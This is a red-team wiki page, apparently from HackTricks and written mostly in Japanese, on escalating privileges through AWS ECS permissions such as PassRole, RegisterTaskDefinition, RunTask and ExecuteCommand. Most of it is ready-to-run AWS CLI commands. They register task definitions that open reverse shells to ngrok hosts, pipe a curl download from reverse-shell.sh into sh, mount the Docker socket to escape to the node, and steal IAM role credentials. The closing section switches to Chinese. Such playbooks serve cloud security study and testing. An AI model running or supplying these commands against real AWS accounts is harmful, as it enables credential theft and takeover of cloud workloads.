AWS - ECS Privesc

htARTE(HackTricks AWS Red Team Expert) を通じて、ゼロからヒーローまでAWSハッキングを学びましょう

HackTricks をサポートする他の方法:

ECS

詳細な ECS に関する情報 は以下を参照してください:

pageAWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

ECS で iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask 権限を悪用する攻撃者は、メタデータ認証情報を盗む悪意のあるコンテナを含む新しいタスク定義を生成 し、それを 実行 することができます。

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

潜在的影響: 異なるECSロールへの直接権限昇格。

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

前述の例と同様に、ECSで**iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask権限を悪用する攻撃者は、悪意のあるコンテナを含む新しいタスク定義を生成し、それを実行**することができます。 ただし、この場合、悪意のあるタスク定義を実行するためには、コンテナインスタンスが必要です。

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

潜在的影響: 任意のECSロールへの直接的な昇格。

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

前述の例と同様に、ECSで**iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateServiceまたはecs:CreateService**権限を悪用する攻撃者は、メタデータ資格情報を盗む悪意のあるコンテナを含む新しいタスク定義を生成し、少なくとも1つのタスクが実行される新しいサービスを作成して実行することができます。

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

潜在的影響: 任意のECSロールへの直接権限昇格。

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

このシナリオは前のものと同様ですが、iam:PassRole 権限がない状態です。 これは依然として興味深いです。なぜなら、任意のコンテナを実行できれば、たとえそれがロールを持たない場合でも、特権のあるコンテナを実行してノードから脱出し、EC2 IAMロールとノードで実行されている他のECSコンテナのロールを盗むことができます。 さらに、他のタスクをEC2インスタンス内で実行するように強制して、彼らの資格情報を盗むこともできます(ノードへの権限昇格セクションで議論されています)。

この攻撃は、ECSクラスタがEC2インスタンスを使用しており、Fargateを使用していない場合にのみ可能です。

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks, ecs:RunTask, ecs:StartTask, ecs:UpdateService, ecs:CreateService

攻撃者は、ecs:ExecuteCommandecs:DescribeTasks権限を持っている場合、実行中のコンテナ内でコマンドを実行し、それにアタッチされたIAMロールを外部に持ち出すことができます(aws ecs execute-commandを実行するにはdescribe権限が必要です)。 ただし、そのためには、コンテナインスタンスがデフォルトでは実行されていないExecuteCommandエージェントを実行している必要があります。

したがって、攻撃者は次のことを試みることができます:

  • すべての実行中のコンテナでコマンドを実行しようとする

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
  • もし**ecs:RunTask**を持っている場合は、aws ecs run-task --enable-execute-command [...]を使用してタスクを実行します。

  • もし**ecs:StartTask**を持っている場合は、aws ecs start-task --enable-execute-command [...]を使用してタスクを実行します。

  • もし**ecs:CreateService**を持っている場合は、aws ecs create-service --enable-execute-command [...]を使用してサービスを作成します。

  • もし**ecs:UpdateService**を持っている場合は、aws ecs update-service --enable-execute-command [...]を使用してサービスを更新します。

これらのオプションの例は、以前のECS特権昇格セクションで見つけることができます。

潜在的な影響: コンテナにアタッチされた異なるロールへの特権昇格。

ssm:StartSession

この権限を悪用してECSへの特権昇格を行う方法については、ssm特権昇格ページを確認してください:

pageAWS - SSM Privesc

iam:PassRole, ec2:RunInstances

これらの権限を悪用してECSへの特権昇格を行う方法については、ec2特権昇格ページを確認してください:

pageAWS - EC2 Privesc

?ecs:RegisterContainerInstance

TODO: 異なるAWSアカウントからインスタンスを登録して、攻撃者が制御するマシンでタスクを実行することは可能ですか?

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

TODO: これをテストする

ecs:CreateTaskSetecs:UpdateServicePrimaryTaskSetecs:DescribeTaskSetsの権限を持つ攻撃者は、既存のECSサービスに対して悪意のあるタスクセットを作成し、プライマリタスクセットを更新することができます。これにより、攻撃者はサービス内で任意のコードを実行できます。

bashCopy code# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

潜在的影響: 影響服務功能或外洩敏感數據,可能在受影響的服務中執行任意代碼。

參考資料

從零開始學習 AWS 黑客技巧,成為專家 htARTE(HackTricks AWS 紅隊專家)

支持 HackTricks 的其他方式:

最終更新